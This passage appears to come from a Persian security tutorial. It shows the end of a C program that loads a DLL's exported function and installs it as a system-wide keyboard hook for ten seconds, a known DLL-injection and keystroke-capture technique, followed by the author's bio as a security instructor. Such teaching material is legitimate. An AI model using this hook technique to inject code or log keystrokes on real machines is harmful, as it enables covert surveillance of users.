
HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "spotlessExport");

HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);

Sleep(10*1000);

UnhookWindowsHookEx(hook);

return 0;

}

امیرحسین تنگسیری نژاد
امیرحسین تنگسیری نژاد

مهندس و مدرس شبکه و امنیت سایبری و مدیر کل جزیره هک و امنیت اطلاعات توسینسو

متخصص امنیت اطلاعات و کارشناس شکار تهدیدات بانک ملی ایران ، دارای مدارک مختلف از Splunk و AWS و Fortinet و Huawei حوزه اصلی فعالیت بنده در زمینه شبکه مباحث R&S و Service Provider می‌باشد و در زمینه امنیت نیز در موقعیت های مختلفی مانند PenTest و SoC فعالیت داشته و دارم. سابقه همکاری با بعضی سازمان های در قالب پروژه و... را داشته ام الان به عنوان تحلیلگر امنیت سایبری در زیرساخت بانک ملی مشغول به کار هستم. لینکداین: https://www.linkedin.com/in/amirhoseintangsirinezhad/

نظرات